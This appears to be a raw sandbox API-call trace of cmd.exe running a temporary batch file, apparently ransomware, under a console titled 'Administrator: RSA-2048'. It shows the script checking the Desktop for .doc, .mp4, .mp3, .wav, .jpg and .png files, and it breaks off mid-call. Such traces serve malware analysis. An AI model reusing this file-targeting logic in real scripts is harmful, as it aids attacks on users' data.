[0037.258] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.258] GetProcessHeap () returned 0x4e0000 [0037.258] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.258] _tell (_FileHandle=3) returned 2059 [0037.258] _close (_FileHandle=3) returned 0 [0037.258] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.258] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.258] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.258] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0037.258] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e22, lpOverlapped=0x0) returned 1 [0037.258] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.258] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0037.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.259] GetFileType (hFile=0x74) returned 0x1 [0037.259] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.259] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.259] GetProcessHeap () returned 0x4e0000 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.259] GetProcessHeap () returned 0x4e0000 [0037.259] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.259] GetProcessHeap () returned 0x4e0000 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.259] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.259] GetProcessHeap () returned 0x4e0000 [0037.259] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.259] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.259] GetProcessHeap () returned 0x4e0000 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.259] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.259] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.259] GetProcessHeap () returned 0x4e0000 [0037.259] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.260] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.260] GetProcessHeap () returned 0x4e0000 [0037.260] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.260] GetProcessHeap () returned 0x4e0000 [0037.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.260] _tell (_FileHandle=3) returned 2084 [0037.260] _close (_FileHandle=3) returned 0 [0037.261] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0037.261] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.261] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.261] GetLastError () returned 0x2 [0037.261] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.261] GetLastError () returned 0x6 [0037.261] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.261] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.261] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.261] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.261] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.261] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.262] SetConsoleInputExeNameW () returned 0x1 [0037.262] GetConsoleOutputCP () returned 0x1b5 [0037.262] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.262] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.262] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.262] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.262] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.262] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.262] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.262] GetProcessHeap () returned 0x4e0000 [0037.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.263] GetProcessHeap () returned 0x4e0000 [0037.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.263] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e09, lpOverlapped=0x0) returned 1 [0037.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.263] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0037.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.263] GetFileType (hFile=0x74) returned 0x1 [0037.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.263] GetProcessHeap () returned 0x4e0000 [0037.263] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.263] GetProcessHeap () returned 0x4e0000 [0037.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.263] _tell (_FileHandle=3) returned 2086 [0037.263] _close (_FileHandle=3) returned 0 [0037.263] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.264] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.264] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e07, lpOverlapped=0x0) returned 1 [0037.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0037.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.264] GetFileType (hFile=0x74) returned 0x1 [0037.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.264] GetProcessHeap () returned 0x4e0000 [0037.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.264] GetProcessHeap () returned 0x4e0000 [0037.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.264] GetProcessHeap () returned 0x4e0000 [0037.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.264] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.264] GetProcessHeap () returned 0x4e0000 [0037.264] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.265] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.265] GetProcessHeap () returned 0x4e0000 [0037.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.265] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.265] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.265] GetProcessHeap () returned 0x4e0000 [0037.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.265] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.265] GetProcessHeap () returned 0x4e0000 [0037.265] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.265] GetProcessHeap () returned 0x4e0000 [0037.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.265] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.266] _tell (_FileHandle=3) returned 2111 [0037.266] _close (_FileHandle=3) returned 0 [0037.266] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0037.266] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.266] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4c18 [0037.266] FindClose (in: hFindFile=0x4f4c18 | out: hFindFile=0x4f4c18) returned 1 [0037.266] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.266] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f4c18 [0037.266] GetProcessHeap () returned 0x4e0000 [0037.266] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4c18) returned 0x12 [0037.266] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.267] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.267] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.267] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.267] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.267] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.267] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.267] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.267] GetFileType (hFile=0x74) returned 0x1 [0037.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.267] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0037.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4") returned 2 [0037.267] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0037.267] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.267] GetFileType (hFile=0x74) returned 0x1 [0037.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0037.267] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0037.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0037.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0037.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.268] GetFileType (hFile=0x74) returned 0x1 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0037.268] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0037.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n") returned 2 [0037.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0037.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.268] GetFileType (hFile=0x74) returned 0x1 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0037.268] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0037.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n") returned 25 [0037.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0037.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.268] GetFileType (hFile=0x74) returned 0x1 [0037.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0037.268] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0037.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n") returned 2 [0037.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0037.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.269] GetFileType (hFile=0x74) returned 0x1 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0037.269] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n") returned 25 [0037.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.269] GetFileType (hFile=0x74) returned 0x1 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0037.269] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=2194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0037.269] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n") returned 2 [0037.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0037.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.269] GetFileType (hFile=0x74) returned 0x1 [0037.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x892 [0037.270] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=2219, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0037.270] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.png goto png\r\n") returned 25 [0037.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0037.270] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.270] GetFileType (hFile=0x74) returned 0x1 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ab [0037.270] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.270] SetFilePointer (in: hFile=0x74, lDistanceToMove=2221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ad [0037.270] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, 